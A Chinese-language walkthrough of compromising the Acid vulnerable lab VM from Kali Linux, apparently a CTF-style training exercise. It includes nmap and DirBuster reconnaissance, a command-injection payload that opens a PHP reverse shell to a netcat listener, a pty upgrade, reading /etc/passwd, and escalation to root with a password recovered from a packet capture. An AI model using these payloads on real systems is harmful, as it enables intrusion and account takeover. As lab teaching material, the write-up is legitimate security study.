Tutorial
特别鸣谢: ~ 、~、各位亲朋好友
环境配置
- 靶机:Acid虚拟机,可直接下载zip
- 攻击机:Kali-Linux
Kali所需软件:Burpsuite/dirbuster/wireshark (都可以通过apt-get install下载)
★Tips:
Kali Linux 是基于Debian的Linux发行版,它预装了很多渗透测试软件,包括nmap、Wireshark、John the Ripper,以及Aircrack-ng等。
正式开始
1.找到好朋友
==查看IP:==
$ ip address
==扫描靶机地址:==
★Tips:
NMap,也就是Network Mapper,最早是Linux下的网络扫描和嗅探工具包。nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。其基本功能有三个,一是探测一组主机是否在线;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。
$ nmap -sP 192.168.171.0/24 -oN acid-ip.txt
or
$ nmap -sP 192.168.171.0/24 #这一条就是不把结果输出写进acid-ip.txt文件里
↑ 得到靶机Acid的IP为192.168.171.2? or 192.168.171.132
因为我们不是一气呵成完成这份note,所以Acid的ip以及本机Kali的ip会前后不一致.
==扫描靶机端口:==
$ nmap -p1-65535 -sV -oN acid-port.txt 192.168.171.132
or
$ nmap -p1-65535 -sV 192.168.171.132 #不写进文件
扫描到开放端口为33447
==浏览器访问192.168.171.132:33447==,可以得到如下网页:
2.开始玩耍
** 漏洞挖掘的详细思路 **
-- web挖掘思路:
(1) 查看每个网页的源码,看是否有提示;
(2) 暴破目录,用御剑或DirBuster,看是否有新网页,找新网页的漏洞;
-- Apache挖掘思路:
(1) 寻找Apache2.4.10有无已知漏洞可利用:没有发现可直接利用的漏洞。
(2) 到www.exploit-db.com查询有无exp:没有找到exp。
(3) Nessus扫描一下主机漏洞:没有扫描出漏洞。
实在找不到漏洞:单用户模式进入Ubuntu,看源码吧。
3.重头戏快来了
==Dirbuster扫描Acid路径:==
★Tips:
DirBuster是一个多线程的基于Java的应用程序设计用于暴力破解Web 应用服务器上的目录名和文件名的工具 。
↑扫描时间约为7分钟,得到如下结果:
index.php
还有其他的: include.php; error.php; cake.php; hacked.php ...
从刚才访问cake.php的时候(如上)页面标题为/Magic_Box,所以还有一个目录为/Magic_Box, 直接扫描Magic_Box的路径我们看到:Challenge/Magic_Box/command.php:
来直接看command.php.
4.重头戏真的来了!
-----
首先了解一下Burpsuite的操作:
Burpsuite新手指南
Burpsuite实战指南
整理了一下Burpsuite使用方法:
1.检查Burpsuite-Proxy-Option-==Proxy Listener==->127.0.0.1:8080(specific address);
2.同时把==浏览器的proxy==改成127.0.0.1,端口为8080;
3.点击Burpsuite的Forward才能发送当前捕获的request,并收到response.
-----
刚才说到: 从刚才扫描的路径我们看到:Challenge/Magic_Box/command.php,那么我们现在在command.php这个页面输入一个IP地址
Burpsuite就可以拦截到Request, 点击Forward之后, 可以在http history看到相应的记录并查看Response. 可以看到ping的返回哦~
那就可以反弹shell了
这里有个参考:各种语言反弹shell (持续更新)
Tutorial->==利用php反弹shell:==
具体操作如下:
==1==.Terminal开启4444端口监听:
$ nc -lvp 4444
==2==.使用Burpsuite拦截request, 并对request进行修改:
==为避免转义和中断,在get、post请求中输入payload需要进行url编码。==
把这条命令行放进Burpsuite-Decoder里面,右边选择Encode-URL. \
127.0.0.1;php -r '$sock=fsockopen("local ip address",port);exec("/bin/sh -i <&3 >&3 2>&3");'
反弹shell成功了!
但是不能使用su:
于是==使用python调用本地的shell==:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
$ python /tmp/asdf.py
成功了!
那么现在来==查看有哪些用户:==
$ cat /etc/passwd
or
$ cd /home
==查找每个用户的文件:==
$ find / -user acid 2>/dev/null #注意2>/dev的>两边没有空格
Tutorial->发现/sbin/raw_vs_isi/hint.pcapng文件,这是一个网络流量抓包文件,将其拷贝的kali上,用Wireshark打开:
www-data...$ scp /sbin/raw_vs_isi/hint.pcapng root@192.168.171.134:/root/
然后==用wireshark打开,只看TCP协议的包==,可以看到聊天记录,然后发现saman的密码(!!?):1337hax0r
==su提权到saman==
再使用==sudo -i 提权到root==,密码同样是1337hax0r,获得位于root目录的flag.txt。
Congratulations!